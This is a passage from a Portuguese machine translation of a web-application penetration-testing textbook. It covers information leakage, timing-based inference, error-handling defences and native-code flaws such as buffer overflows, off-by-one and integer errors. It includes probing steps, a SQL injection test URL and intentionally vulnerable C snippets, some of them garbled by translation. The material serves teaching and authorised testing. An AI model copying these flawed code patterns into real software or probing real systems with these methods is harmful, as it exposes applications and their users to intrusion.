catch (Exceção e)
{
}
lançar nova RuntimeException(new String(baos.toByteArray()));
```

Coleta de informações publicadas

Além da divulgação de informações úteis em mensagens de erro, a outra maneira principal pela qual os aplicativos da Web fornecem dados confidenciais é publicando-os diretamente. Há vários motivos pelos quais um aplicativo pode publicar informações que podem ser usadas por um invasor:

- Por design, como parte da funcionalidade principal do aplicativo
- Como um efeito colateral não intencional de outra função
- Por meio da funcionalidade de depuração que permanece presente no aplicativo ativo
- Devido a alguma vulnerabilidade, como controles de acesso quebrados

Aqui estão alguns exemplos de informações potencialmente confidenciais que os aplicativos costumam publicar para os usuários:

- Listas de nomes de usuário, números de conta e IDs de documentos válidos
- Detalhes do perfil do usuário, incluindo funções e privilégios do usuário, data do último login e status da conta
- A senha do usuário atual (geralmente é mascarada na tela, mas está presente na fonte da página)
- Arquivos de registro contendo informações como nomes de usuário, URLs, ações executadas, tokens de sessão e consultas a bancos de dados
- Detalhes do aplicativo na fonte HTML do lado do cliente, como links ou campos de formulário comentados e comentários sobre bugs

ETAPAS DO HACK

1. Analise os resultados dos exercícios de mapeamento de aplicativos (consulte o Capítulo 4) para identificar todas as funcionalidades do lado do servidor e os dados do lado do cliente que podem ser usados para obter informações úteis.
2. Identifique todos os locais no aplicativo em que dados confidenciais, como senhas ou detalhes de cartão de crédito, são transmitidos do servidor para o navegador. Mesmo que esses dados estejam mascarados na tela, eles ainda podem ser visualizados na resposta do servidor. Se você tiver encontrado outra vulnerabilidade adequada, como nos controles de acesso ou no tratamento de sessões, esse comportamento poderá ser usado para obter as informações pertencentes a outros usuários do aplicativo.
3. Se você identificar algum meio de extrair informações confidenciais, use as técnicas descritas no Capítulo 14 para automatizar o processo.

Usando a inferência

Em algumas situações, um aplicativo pode não divulgar nenhum dado diretamente a você, mas pode se comportar de forma a permitir que você deduza informações úteis de forma confiável.

Já encontramos muitos exemplos desse fenômeno ao examinarmos outras categorias de vulnerabilidade comum. Por exemplo:

- Uma função de registro que permite enumerar os nomes de usuários registrados com base em uma mensagem de erro quando um nome de usuário existente é escolhido (consulte o Capítulo 6).
- Um mecanismo de pesquisa que permite inferir o conteúdo de documentos indexados que você não está autorizado a visualizar diretamente (consulte o Capítulo 11).
- Uma vulnerabilidade cega de injeção de SQL na qual você pode alterar o comportamento do aplicativo adicionando uma condição binária a uma consulta existente, o que permite extrair informações um bit de cada vez (consulte o Capítulo 9).
- O ataque "padding oracle" no .NET, em que um invasor pode descriptografar qualquer cadeia de caracteres enviando uma série de solicitações ao servidor e observando quais resultam em um erro durante a descriptografia (consulte o Capítulo 18).

Outra maneira pela qual diferenças sutis no comportamento de um aplicativo podem revelar informações ocorre quando diferentes operações levam diferentes períodos de tempo para serem executadas, dependendo de algum fato que seja de interesse de um invasor. Essa divergência pode surgir por vários motivos:

- Muitos aplicativos grandes e complexos recuperam dados de vários sistemas back-end, como bancos de dados, filas de mensagens e mainframes. Para melhorar o desempenho, alguns aplicativos armazenam em cache as informações que são usadas com frequência. Da mesma forma, alguns aplicativos empregam uma abordagem de *carga preguiçosa*, na qual os objetos e dados são carregados somente quando necessário. Nessa situação, os dados que foram acessados recentemente são recuperados rapidamente da cópia local em cache do servidor, enquanto outros dados são recuperados mais lentamente da fonte de back-end relevante.

  Esse comportamento foi observado em aplicativos bancários on-line. Uma solicitação para acessar uma conta leva mais tempo se a conta estiver inativa do que se estiver ativa, permitindo que um invasor habilidoso enumere as contas que foram acessadas recentemente por outros usuários.

- Em algumas situações, a quantidade de processamento que um aplicativo executa em uma determinada solicitação pode depender da validade de um item de dados enviado. Por exemplo, quando um nome de usuário válido é fornecido a um mecanismo de login, o aplicativo pode executar várias consultas ao banco de dados para recuperar informações da conta e atualizar o registro de auditoria. Ele também pode executar

operações computacionalmente intensivas para validar a senha fornecida em relação a um hash armazenado. Se um invasor conseguir detectar essa diferença de tempo, ele poderá explorá-la para enumerar nomes de usuário válidos.

- Algumas funções do aplicativo podem executar uma ação com base na entrada do usuário, que expira se um item dos dados enviados for inválido. Por exemplo, um aplicativo pode usar um cookie para armazenar o endereço de um host localizado atrás de um balanceador de carga de front-end. Um invasor pode manipular esse endereço para procurar servidores da Web dentro da rede interna da organização. Se o endereço de um servidor real que não faz parte da infraestrutura do aplicativo for fornecido, o aplicativo poderá retornar imediatamente um erro. Se for fornecido um endereço inexistente, o aplicativo poderá aguardar o tempo de tentativa de contato com esse endereço antes de retornar o mesmo erro genérico. Você pode usar os temporizadores de resposta na tabela de resultados do Burp Intruder para facilitar esse teste. Observe que essas colunas estão ocultas por padrão, mas podem ser exibidas no menu Colunas.

ETAPAS DO HACK

1. As diferenças no tempo das respostas do aplicativo podem ser sutis e difíceis de detectar. Em uma situação típica, vale a pena sondar o aplicativo quanto a esse comportamento somente em áreas-chave selecionadas, onde um item crucial de dados interessantes é enviado e onde o tipo de processamento que está sendo executado provavelmente resultará em diferenças de tempo.
2. Para testar uma função específica, compile uma lista contendo vários itens que se sabe serem válidos (ou que foram acessados recentemente) e uma segunda lista contendo itens que se sabe serem inválidos (ou inativos). Faça solicitações contendo cada item dessas listas de forma controlada, emitindo apenas uma solicitação por vez e monitorando o tempo que o aplicativo leva para responder a cada solicitação. Determine se há alguma correlação entre o status do item e o tempo necessário para a resposta.
3. Você pode usar o Burp Intruder para automatizar essa tarefa. Para cada solicitação gerada, o Intruder registra automaticamente o tempo necessário para que o aplicativo responda e o tempo necessário para concluir a resposta. Você pode classificar uma tabela de resultados por qualquer um desses atributos para identificar rapidamente quaisquer correlações óbvias.

Prevenção de vazamento de informações

Embora possa não ser viável ou desejável impedir a divulgação de absolutamente qualquer informação que um invasor possa considerar útil, várias medidas relativamente simples podem ser tomadas para reduzir o vazamento de informações para um

mínimo e para reter os dados mais confidenciais que podem prejudicar gravemente a segurança de um aplicativo se forem divulgados a um invasor.

Usar mensagens de erro genéricas

O aplicativo nunca deve retornar mensagens de erro detalhadas ou informações de depuração para o navegador do usuário. Quando ocorre um evento inesperado (como um erro em uma consulta ao banco de dados, uma falha na leitura de um arquivo do disco ou uma exceção em uma chamada de API externa), o aplicativo deve retornar a mesma mensagem genérica informando ao usuário que ocorreu um erro. Se for necessário registrar informações de depuração para fins de suporte ou diagnóstico, elas devem ser mantidas em um log no lado do servidor que não seja acessível ao público. Um número de índice para a entrada de log relevante pode ser retornado ao usuário, permitindo que ele informe isso ao entrar em contato com o help desk, se necessário.

A maioria das plataformas de aplicativos e servidores da Web pode ser configurada para ocultar as informações de erro que são retornadas ao navegador:

- No ASP.NET, você pode suprimir mensagens de erro detalhadas usando o elemento `cusErrors` do arquivo `Web.config`, definindo o atributo mode como `On` ou `RemoteOnly` e especificando uma página de erro personalizada no nó `defaultRedirect`.
- Na plataforma Java, você pode configurar mensagens de erro personalizadas usando o elemento error-page do arquivo `web.xml`. Você pode usar o nó `exception-type` para especificar um tipo de exceção Java ou pode usar o nó `error-code` para especificar um código de status HTTP. Você pode usar o `nó location` para definir a página personalizada a ser exibida no caso do erro especificado.
- No Microsoft IIS, você pode especificar páginas de erro personalizadas para diferentes códigos de status HTTP usando a guia Erros personalizados na guia Propriedades de um site. Uma página personalizada diferente pode ser definida para cada código de status e, se necessário, por diretório.
- No Apache, as páginas de erro personalizadas podem ser configuradas usando o `ErrorDocument` na diretriz `httpd.conf`:

```
ErrorDocument 500 /generalerror.html
```

Proteger informações confidenciais

Sempre que possível, o aplicativo não deve publicar informações que possam ser úteis a um invasor, inclusive nomes de usuário, entradas de registro e detalhes do perfil do usuário. Se determinados usuários precisarem de acesso a essas informações, elas deverão ser protegidas por controles de acesso eficazes e disponibilizadas somente quando estritamente necessário.

Nos casos em que informações confidenciais devem ser divulgadas a um usuário autorizado (por exemplo, quando os usuários podem atualizar suas próprias informações de conta), os dados existentes não devem ser divulgados quando não for necessário. Por exemplo, os números de cartão de crédito armazenados devem ser exibidos de forma truncada, e os campos de senha nunca devem ser pré-preenchidos, mesmo que estejam mascarados na tela. Essas medidas defensivas ajudam a reduzir o impacto de quaisquer vulnerabilidades graves que possam existir nos mecanismos de segurança principais do aplicativo, como autenticação, gerenciamento de sessão e controle de acesso.

Minimizar o vazamento de informações do lado do cliente

Sempre que possível, os banners de serviço devem ser removidos ou modificados para minimizar a divulgação de versões específicas de software e assim por diante. As etapas necessárias para implementar essa medida dependem das tecnologias em uso. Por exemplo, no Microsoft IIS, o cabeçalho `do servidor` pode ser removido usando o URLScan na ferramenta IISLockDown. Em versões posteriores do Apache, isso pode ser feito usando o módulo `mod_headers`. Como essas informações estão sujeitas a alterações, recomendamos que você consulte a documentação do servidor antes de fazer qualquer modificação.

Todos os comentários devem ser removidos do código do lado do cliente que é implantado no ambiente de produção ao vivo, incluindo todo o HTML e JavaScript.

Preste atenção especial a todos os componentes de extensão do navegador, como applets Java e controles ActiveX. Nenhuma informação confidencial deve estar oculta nesses componentes. Um invasor habilidoso pode descompilar ou fazer engenharia reversa desses componentes para recuperar efetivamente seu código-fonte (consulte o Capítulo 5).

Resumo

O vazamento de informações desnecessárias geralmente não apresenta nenhum tipo de defeito significativo na segurança de um aplicativo. Mesmo os rastreamentos de pilha altamente detalhados e outras mensagens de depuração podem, às vezes, oferecer pouca vantagem na tentativa de atacar o aplicativo.

Em outros casos, no entanto, você pode descobrir fontes de informações que são de grande valor para o desenvolvimento do seu ataque. Por exemplo, você pode encontrar listas de nomes de usuários, as versões exatas dos componentes de software ou a estrutura interna e a funcionalidade da lógica do aplicativo no lado do servidor.

Devido a essa possibilidade, qualquer ataque sério a um aplicativo deve incluir um exame forense do próprio aplicativo e dos recursos disponíveis publicamente para que você possa coletar qualquer informação que possa ser útil para formular seus ataques contra ele. Em algumas ocasiões, as informações coletadas dessa forma podem fornecer a base para um comprometimento completo do aplicativo que as divulgou.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Durante a sondagem de vulnerabilidades de injeção de SQL, você solicita o seguinte URL:

   ```
   https://wahh-app.com/list.aspx?artist=foo'+having+1%3d1--
   ```

   Você recebe a seguinte mensagem de erro:

   ```
   Servidor: Msg 170, Level 15, State 1, Line 1
   Line 1: Sintaxe incorreta perto de 'having1'.
   ```

   O que você pode deduzir disso? O aplicativo contém alguma condição passível de exploração?

2. Enquanto você está realizando testes de fuzz de vários parâmetros, um aplicativo retorna a seguinte mensagem de erro:

   ```
   Warning: mysql_connect() [function.mysql-connect]: Acesso negado para o
   usuário 'premiumdde'@'localhost' (usando a senha: YES) em
   /home/doau/public_html/premiumdde/directory na linha 15
   Warning: mysql_select_db() [function.mysql-select-db]: Acesso negado para
   o usuário 'nobody'@'localhost' (usando a senha: NO) em
   /home/doau/public_html/premiumdde/directory na linha 16
   Aviso: mysql_select_db() [function.mysql-select-db]: Não foi possível
   estabelecer um link para o servidor em
   /home/doau/public_html/premiumdde/directory na linha 16
   Warning: mysql_query() [function.mysql-query]: Acesso negado para o
   usuário 'nobody'@'localhost' (usando a senha: NO) em
   /home/doau/public_html/premiumdde/directory na linha 448
   ```

   Que itens úteis de informação você pode extrair disso?

3. Ao mapear um aplicativo, você descobre um diretório oculto no servidor que tem a listagem de diretórios ativada e parece conter vários scripts antigos. A solicitação de um desses scripts retorna a seguinte mensagem de erro:

   ```
   Erro CGIWrap: A execução deste script não é permitida
   A execução de (contact.pl) não é permitida pelo seguinte motivo: O script
   não é executável. Emitir 'chmod 755 filename'

   Informações e documentação locais:
   Documentos do CGIWrap: http://wahh-app.com/cgiwrap-
   docs/ E-mail de contato: helpdesk@wahh-app.com

   Dados do servidor:
   Administrador do servidor/contato: helpdesk@wahh-app.com
   Nome do servidor: wahh-app.com
   Porta do servidor: 80
   Protocolo do servidor: HTTP/1.1
   ```

```
Solicitar dados:
Agente de usuário/navegador: Mozilla/4.0 (compatível; MSIE 7.0; Windows
NT 5.1; .NET CLR 2.0.50727; FDM; InfoPath.1; .NET CLR 1.1.4322)
Método de solicitação: GET
Endereço remoto: 192.168.201.19
Porta remota: 57961
Página de referência: http://wahh-app.com/cgi-bin/cgiwrap/fodd
```

O que causou esse erro e qual vulnerabilidade comum de aplicativo da Web você deve verificar rapidamente?

4. Você está sondando a função de um parâmetro de solicitação na tentativa de determinar sua finalidade em um aplicativo. Você solicita o seguinte URL:

```
https://wahh-app.com/agents/checkcfg.php?name=admin&id=13&log=1
```

O aplicativo retorna a seguinte mensagem de erro:

```
Warning: mysql_connect() [function.mysql-connect]: Não é possível
conectar-se ao servidor MySQL em 'admin' (10013) em
/var/local/www/include/dbconfig.php na linha 23
```

O que causou essa mensagem de erro e quais vulnerabilidades você deve procurar como resultado?

5. Ao fazer fuzzing em uma solicitação para várias categorias de vulnerabilidades, você envia uma única aspa em cada parâmetro da solicitação. Um dos resultados contém um código de status HTTP 500, indicando uma possível injeção de SQL. Você verifica o conteúdo completo da mensagem, que é o seguinte:

```
Erro de tempo de execução do Microsoft
VBScript '800a000d' Incompatibilidade de tipo:
' [string: "'"]'
/scripts/confirmOrder.asp, linha 715
```

O aplicativo é vulnerável?

CAPÍTULO

16

Ataque a aplicativos compilados nativos

O software compilado que é executado em um ambiente de execução nativo tem sido historicamente afetado por vulnerabilidades, como estouro de buffer e bugs de string de formato. A maioria dos aplicativos da Web é escrita usando linguagens e plataformas que são executadas em um ambiente de execução gerenciado no qual essas vulnerabilidades clássicas não surgem. Uma das vantagens mais significativas de linguagens como C# e Java é que os programadores não precisam se preocupar com o tipo de problemas de gerenciamento de buffer e aritmética de ponteiro que afetaram o software desenvolvido em linguagens nativas, como C e C++, e que deram origem à maioria dos bugs críticos encontrados nesse software.

No entanto, você pode encontrar ocasionalmente aplicativos da Web que são escritos em código nativo. Além disso, muitos aplicativos escritos principalmente com código gerenciado contêm partes de código nativo ou chamam componentes externos que são executados em um contexto não gerenciado. A menos que você tenha certeza de que o aplicativo de destino não contém nenhum código nativo, vale a pena realizar alguns testes básicos projetados para descobrir quaisquer vulnerabilidades clássicas que possam existir.

Os aplicativos da Web executados em dispositivos de hardware, como impressoras e switches, geralmente contêm algum código nativo. Outros alvos prováveis incluem qualquer página ou script cujo nome inclua possíveis indicadores de código nativo, como `dll` ou `exe`, e qualquer funcionalidade conhecida por chamar componentes externos legados, como mecanismos de registro. Se você acredita que o aplicativo que está atacando contém quantidades substanciais de código nativo, pode ser desejável testar cada parte do

dados fornecidos pelo usuário e processados pelo aplicativo, incluindo os nomes e valores de cada parâmetro, cookie, cabeçalho de solicitação e outros dados.

Este capítulo aborda três categorias principais de vulnerabilidade clássica de software: estouro de buffer, vulnerabilidades de inteiros e bugs de string de formato. Em cada caso, descreveremos algumas vulnerabilidades comuns e, em seguida, descreveremos as medidas práticas que você pode tomar ao investigar essas falhas em um aplicativo da Web. Esse tópico é enorme e vai muito além do escopo de um livro sobre invasão de aplicativos da Web. Para saber mais sobre vulnerabilidades de software nativo e como encontrá-las, recomendamos os seguintes livros:

- *The Shellcoder's Handbook*, 2nd Edition, por Chris Anley, John Heasman, Felix Linder e Gerardo Richarte (Wiley, 2007)
- *A arte da avaliação de segurança de software*, por Mark Dowd, John McDonald e Justin Schuh (Addison-Wesley, 2006)
- *Gray Hat Hacking*, 2ª edição, por Shon Harris, Allen Harper, Chris Eagle e Jonathan Ness (McGraw-Hill Osborne, 2008)

OBSERVAÇÃO A sondagem remota das vulnerabilidades descritas neste capítulo acarreta um alto risco de negação de serviço para o aplicativo. Ao contrário de vulnerabilidades como autenticação fraca e passagem de caminho, a mera detecção de vulnerabilidades clássicas de software provavelmente causará exceções não tratadas no aplicativo tar- get, o que pode fazer com que ele pare de funcionar. Se você pretende sondar um aplicativo ativo em busca desses bugs, deve garantir que o proprietário do aplicativo aceite os riscos associados ao teste antes de começar.

Vulnerabilidades de excesso de fluxo de buffer

As vulnerabilidades de estouro de buffer ocorrem quando um aplicativo copia dados controláveis pelo usuário em um buffer de memória que não é suficientemente grande para acomodá-los. O buffer de destino é estourado, resultando na substituição da memória adjacente pelos dados do usuário. Dependendo da natureza da vulnerabilidade, um invasor pode ser capaz de explorá-la para executar código arbitrário no servidor ou realizar outras ações não autorizadas. As vulnerabilidades de estouro de buffer têm prevalecido enormemente em softwares nativos ao longo dos anos e têm sido amplamente consideradas como o inimigo público número um que os desenvolvedores desses softwares precisam evitar.

Sobreposições de pilha

Os estouros de buffer geralmente surgem quando um aplicativo usa uma operação de cópia ilimitada (como `strcpy` em C) para copiar um buffer de tamanho variável em um buffer de tamanho fixo sem verificar se o buffer de tamanho fixo é grande o suficiente. Por exemplo,

a função a seguir copia a string `de nome de usuário` em um buffer de tamanho fixo alocado na pilha:

```
bool CheckLogin(char* nome de usuário, char* senha)
{
    char _username[32];
    strcpy(_username, nome de
    usuário);
    ...
```

Se a cadeia de caracteres `do nome de usuário` contiver mais de 32 caracteres, o buffer `_username` será sobrecarregado e o invasor substituirá os dados na memória adjacente.

Em um buffer overflow baseado em pilha, uma exploração bem-sucedida normalmente envolve a gravação excessiva do endereço de retorno salvo na pilha. Quando a função `CheckLogin` é chamada, o processador coloca na pilha o endereço da instrução que segue a chamada. Quando `o CheckLogin` é concluído, o processador retira esse endereço da pilha e retorna a execução para essa instrução. Nesse meio tempo, a função `CheckLogin` aloca o buffer `_username` na pilha, ao lado do endereço de retorno salvo. Se um invasor conseguir transbordar o buffer `_username`, ele poderá substituir o endereço de retorno salvo por um valor de sua escolha, fazendo com que o processador salte para esse endereço e execute um código arbitrário.

Sobrecarga de pilha

Os estouros de buffer baseados em heap envolvem essencialmente o mesmo tipo de operação insegura descrita anteriormente, exceto pelo fato de que o buffer de destino estourado é alocado no heap, e não na pilha:

```
bool CheckLogin(char* nome de usuário, char* senha)
{
    char* _username = (char*) malloc(32);
    strcpy(_username, nome de usuário);
    ...
```

Em um estouro de buffer baseado em heap, o que normalmente é adjacente ao buffer de destino não é nenhum endereço de retorno salvo, mas outros blocos de memória heap, separados por estruturas de controle heap. O heap é implementado como uma lista duplamente vinculada: cada bloco é precedido na memória por uma estrutura de controle que contém o tamanho do bloco, um ponteiro para o bloco anterior no heap e um ponteiro para o próximo bloco no heap. Quando um buffer de heap é estourado, a estrutura de controle de um bloco de heap adjacente é substituída por dados controláveis pelo usuário.

Esse tipo de vulnerabilidade é menos fácil de explorar do que um estouro baseado em pilha, mas uma abordagem comum é gravar valores criados na estrutura de controle de heap sobrescrita para causar uma sobrescrita arbitrária de um ponteiro crítico em algum momento futuro. Quando o bloco de heap cuja estrutura de controle foi sobrescrita é liberado da memória, o gerenciador de heap precisa atualizar a lista vinculada de

blocos de heap. Para isso, ele precisa atualizar o ponteiro de link posterior do bloco de heap seguinte e atualizar o ponteiro de link anterior do bloco de heap anterior para que esses dois itens da lista vinculada apontem um para o outro. Para fazer isso, o gerenciador de heap usa os valores na estrutura de controle sobrescrita. Especificamente, para atualizar o ponteiro do link posterior do bloco seguinte, o gerenciador de pilha desreferencia o ponteiro do link anterior retirado da estrutura de controle sobrescrita e grava na estrutura nesse endereço o valor do ponteiro do link posterior retirado da estrutura de controle sobrescrita. Em outras palavras, ele grava um valor controlável pelo usuário em um endereço controlável pelo usuário. Se um invasor tiver criado seus dados de estouro de forma adequada, ele poderá sobrescrever qualquer ponteiro na memória com um valor de sua escolha, com o objetivo de assumir o controle do caminho de execução e, portanto, executar um código arbitrário. Os alvos típicos para a substituição arbitrária de ponteiros são o valor de um ponteiro de função que o aplicativo chamará posteriormente e o endereço de um manipulador de exceções que será chamado na próxima vez que ocorrer uma exceção.

OBSERVAÇÃO Os compiladores e os sistemas operacionais modernos implementaram várias defesas para proteger o software contra erros de programação que levam a overflows de buffer. Essas defesas significam que os overflows do mundo real hoje são geralmente mais difíceis de explorar do que os exemplos descritos aqui. Para obter mais informações sobre essas defesas e maneiras de contorná-las, consulte *The Shellcoder's Handbook*.

"Vulnerabilidades "off-by-one

Um tipo específico de vulnerabilidade de estouro surge quando um erro de programação permite que um invasor escreva um único byte (ou um pequeno número de bytes) além do final de um buffer alocado.

Considere o código a seguir, que aloca um buffer na pilha, executa uma operação de cópia de buffer contada e, em seguida, encerra a cadeia de caracteres de destino com um termo nulo:

```
bool CheckLogin(char* nome de usuário, char* senha)
{
    char _username[32];
    int i;
    for (i = 0; nome de usuário[i] && i < 32; i++)
        _username[i] = nome de usuário[i];
    _username[i] = 0;
    ...
```

O código copia até 32 bytes e, em seguida, adiciona o terminador nulo. Portanto, se o nome de usuário tiver 32 bytes ou mais, o byte nulo será gravado além do final do buffer `_username`, corrompendo a memória adjacente. Essa condição pode ser explorada. Se o item adjacente na pilha for o ponteiro de quadro salvo do quadro de chamada, definir o byte de ordem inferior como zero pode fazer com que ele aponte para

o buffer `_username` e, portanto, aos dados que o invasor controla. Quando a função de chamada retorna, isso pode permitir que um invasor assuma o controle do fluxo de execução.

Um tipo semelhante de vulnerabilidade surge quando os desenvolvedores ignoram a necessidade de os buffers de string incluírem espaço para um terminador nulo. Considere a seguinte "correção" para o estouro de heap original:

```
bool CheckLogin(char* nome de usuário, char* senha)
{
    char* _username = (char*) malloc(32);
    strncpy(_username, username, 32);
    ...
```

Aqui, o programador cria um buffer de tamanho fixo no heap e, em seguida, executa uma operação de cópia de buffer contada, projetada para garantir que o buffer não seja estourado. No entanto, se o nome de usuário for maior do que o buffer, o buffer será totalmente preenchido com caracteres do nome de usuário, não deixando espaço para anexar um byte nulo no final. A versão copiada da cadeia de caracteres, portanto, perdeu seu terminador nulo.

Linguagens como C não têm registro separado do comprimento de uma cadeia de caracteres. O fim da cadeia de caracteres é indicado por um byte nulo (ou seja, um byte com o código de caractere ASCII zero). Se uma cadeia de caracteres perder seu terminador nulo, ela efetivamente aumentará de comprimento e continuará até o próximo byte na memória, que por acaso é zero. Essa consequência não intencional muitas vezes pode causar comportamentos incomuns e vulnerabilidades em um aplicativo.

Os autores encontraram uma vulnerabilidade desse tipo em um aplicativo da Web executado em um dispositivo de hardware. O aplicativo continha uma página que aceitava parâmetros arbitrários em uma solicitação `POST` e retornava um formulário HTML contendo os nomes e os valores desses parâmetros como campos ocultos. Por exemplo:

```
POST /formRelay.cgi HTTP/1.0
Content-Length: 3

a=b

HTTP/1.1 200 OK
Date: THU, 01 SEP 2011 14:53:13 GMT
Content-Type: text/html
Content-Length: 278

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
</head>
<form name="FORM_RELAY" action="page.cgi" method="POST">
<input type="hidden" name="a" value="b">
```

```
</form>
<body onLoad="document.FORM_RELAY.submit();">
</body>
</html>
```

Por algum motivo, essa página foi usada em todo o aplicativo para processar todos os tipos de entrada do usuário, muitos dos quais eram confidenciais. No entanto, se 4096 ou mais bytes de dados fossem enviados, o formulário retornado também conteria os parâmetros enviados pela solicitação *anterior* à página, mesmo que tivessem sido enviados por um usuário diferente. Por exemplo:

```
POST /formRelay.cgi HTTP/1.0
Content-Length: 4096

a=bbbbbbbbbbbbbbbbb[muito mais b's]

HTTP/1.1 200 OK
Date: THU, 01 SEP 2011 14:58:31 GMT
Content-Type: text/html
Content-Length: 4598

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=iso-8859-1">
</head>
<form name="FORM_RELAY" action="page.cgi" method="POST">
<input type="hidden" name="a" value="bbbbbbbbbbbbbbbbbb[muitos mais b's]">
<input type="hidden" name="strUsername" value="agriffiths">
<input type="hidden" name="strPassword" value="aufwiedersehen">
<input type="hidden" name="Log_in" value="Log+In">
</form>
<body onLoad="document.FORM_RELAY.submit();">
</body>
</html>
```

Depois de identificar essa vulnerabilidade, foi possível sondar a página vulnerável continuamente com dados muito longos e analisar as respostas para registrar cada dado enviado à página por outros usuários. Isso incluía credenciais de login e outras informações confidenciais.

A causa principal da vulnerabilidade era que os dados fornecidos pelo usuário estavam sendo armazenados como strings com terminação nula em blocos de memória de 4096 bytes. Os dados eram copiados em uma operação verificada, portanto, não havia possibilidade de estouro direto. Entretanto, se uma entrada muito longa fosse enviada, a operação de cópia resultava na perda do terminador nulo, de modo que a cadeia de caracteres fluía para os próximos dados na memória. Portanto, quando o aplicativo analisava os parâmetros da solicitação, ele continuava até o próximo byte nulo e, portanto, incluía os parâmetros fornecidos por outro usuário.

Detecção de vulnerabilidades de excesso de fluxo de buffer

A metodologia básica para detectar vulnerabilidades de estouro de buffer é enviar longas cadeias de dados para um alvo identificado e monitorar os resultados anômalos. Em alguns casos, existem vulnerabilidades sutis que podem ser detectadas somente com o envio de uma cadeia de caracteres excessivamente longa de um comprimento específico ou dentro de um pequeno intervalo de comprimentos. Entretanto, na maioria dos casos, as vulnerabilidades podem ser detectadas simplesmente enviando uma cadeia de caracteres mais longa do que o aplicativo está esperando.

Os programadores geralmente criam buffers de tamanho fixo usando números redondos em decimal ou hexadecimal, como 32, 100, 1024, 4096 e assim por diante. Uma abordagem simples para detectar qualquer "fruto mais fácil" dentro do aplicativo é enviar cadeias longas à medida que cada item dos dados de destino é identificado e monitorar as respostas do servidor em busca de anomalias.

ETAPAS DO HACK

1. Para cada item de dados que está sendo direcionado, envie um intervalo de strings longas com comprimentos um pouco maiores do que os tamanhos comuns de buffer. Por exemplo:

   ```
   1100
   4200
   33000
   ```

2. Direcione um item de dados de cada vez para maximizar a cobertura dos caminhos de código dentro do aplicativo.
3. Você pode usar a fonte de carga útil de blocos de caracteres no Burp Intruder para gerar automaticamente cargas úteis de vários tamanhos.
4. Monitore as respostas do aplicativo para identificar quaisquer anomalias. É quase certo que um estouro não controlado causará uma exceção no aplicativo. Detectar quando isso ocorreu em um processo remoto é difícil, mas aqui estão alguns eventos anômalos que devem ser procurados:
   - Um código de status HTTP 500 ou uma mensagem de erro, em que outra entrada malformada (mas não muito longa) não tem o mesmo efeito
   - Uma mensagem informativa, indicando que ocorreu uma falha em algum componente de código nativo
   - Uma resposta parcial ou malformada é recebida do servidor
   - A conexão TCP com o servidor é encerrada abruptamente sem retornar uma resposta
   - O aplicativo da Web inteiro para de responder
5. Observe que, quando um estouro baseado em heap é acionado, isso pode resultar em uma falha em algum momento futuro, em vez de imediatamente. Talvez seja necessário fazer experimentos para identificar um ou mais casos de teste que estejam causando corrupção de heap.
6. Uma vulnerabilidade off-by-one pode não causar uma falha, mas pode resultar em um comportamento anômalo, como o retorno de dados inesperados pelo

aplicativo.

Em alguns casos, seus casos de teste podem ser bloqueados por verificações de validação de entrada implementadas no próprio aplicativo ou por outros componentes, como o servidor da Web. Isso geralmente ocorre quando dados muito longos são enviados na cadeia de consulta do URL e podem ser indicados por uma mensagem genérica, como "URL muito longo", em resposta a cada caso de teste. Nessa situação, você deve fazer experimentos para determinar o comprimento máximo permitido do URL (que geralmente é de cerca de 2.000 caracteres) e ajustar o tamanho do buffer para que os casos de teste atendam a esse requisito. Ainda podem existir transbordamentos por trás da filtragem de comprimento genérico, que pode ser acionada por cadeias de caracteres curtas o suficiente para passar por essa filtragem.

Em outros casos, os filtros podem restringir o tipo de dados ou o intervalo de caracteres que podem ser enviados em um determinado parâmetro. Por exemplo, um aplicativo pode validar se um nome de usuário enviado contém apenas caracteres alfanuméricos antes de passá-lo para uma função que contém um estouro. Para maximizar a eficácia de seus testes, você deve tentar garantir que cada caso de teste contenha apenas caracteres permitidos no parâmetro relevante. Uma técnica eficaz para conseguir isso é capturar uma solicitação normal que contenha dados aceitos pelo aplicativo e estender cada parâmetro visado, usando os mesmos caracteres que ele já contém, para criar uma cadeia longa que provavelmente passará por qualquer filtro baseado em conteúdo.

Mesmo que você tenha certeza de que existe uma condição de estouro de buffer, é extremamente difícil explorá-la remotamente para obter uma execução arbitrária de código. Peter Winter-Smith, da NGSSoftware, fez uma pesquisa interessante sobre as possibilidades de exploração cega de buffer overflow. Para obter mais informações, consulte o whitepaper a seguir:

```
www.ngssoftware.com/papers/NISR.BlindExploitation.pdf
```

Vulnerabilidades de números inteiros

As vulnerabilidades relacionadas a números inteiros geralmente surgem quando um aplicativo executa alguma aritmética em um valor de comprimento antes de executar alguma operação de buffer, mas não leva em conta determinados recursos de como os compiladores e processadores lidam com números inteiros. Dois tipos de erros em números inteiros são dignos de nota: transbordamentos e erros de assinatura.

Superávits de números inteiros

Ocorrem quando uma operação em um valor inteiro faz com que ele aumente acima de seu valor máximo possível ou diminua abaixo de seu valor mínimo possível. Quando isso ocorre, o número se enrola, de modo que um número muito grande se torna muito pequeno, ou vice-versa.

Considere a seguinte "correção" para o estouro de heap descrito anteriormente:

```
bool CheckLogin(char* nome de usuário, char* senha)
{
    unsigned short len = strlen(nome de usuário) +
    1; char* _username = (char*) malloc(len);
    strcpy(_username, nome de usuário);
    ...
```

Aqui, o aplicativo mede o tamanho do nome de usuário enviado pelo usuário, adiciona 1 para acomodar o nulo final, aloca um buffer com o tamanho resultante e copia o nome de usuário para ele. Com entradas de tamanho normal, esse código se comporta como pretendido. No entanto, se o usuário enviar um nome de usuário com 65.535 caracteres, ocorrerá um estouro de inteiro. Um número inteiro de tamanho curto contém 16 bits, o que é suficiente para que seu valor varie entre 0 e 65.535. Quando uma cadeia de caracteres de 65.535 caracteres é enviada, o programa adiciona 1 a esse valor e o valor se transforma em 0. Um buffer de comprimento zero é alocado e o nome de usuário longo é copiado para ele, causando um estouro de heap. O invasor subverteu efetivamente a tentativa do programador de garantir que o buffer de destino seja grande o suficiente.

Erros de sinalização

Isso ocorre quando um aplicativo usa números inteiros com e sem sinal para medir os comprimentos dos buffers e os confunde em algum momento. O aplicativo faz uma comparação direta entre um valor com sinal e sem sinal ou passa um valor com sinal como parâmetro para uma função que recebe um valor sem sinal. Em ambos os casos, o valor com sinal é tratado como seu equivalente sem sinal, o que significa que um número negativo se torna um número positivo grande.

Considere a seguinte "correção" para o estouro de pilha descrito anteriormente:

```
bool CheckLogin(char* username, int len, char* password)
{
    char _username[32] = "";
    if (len < 32)
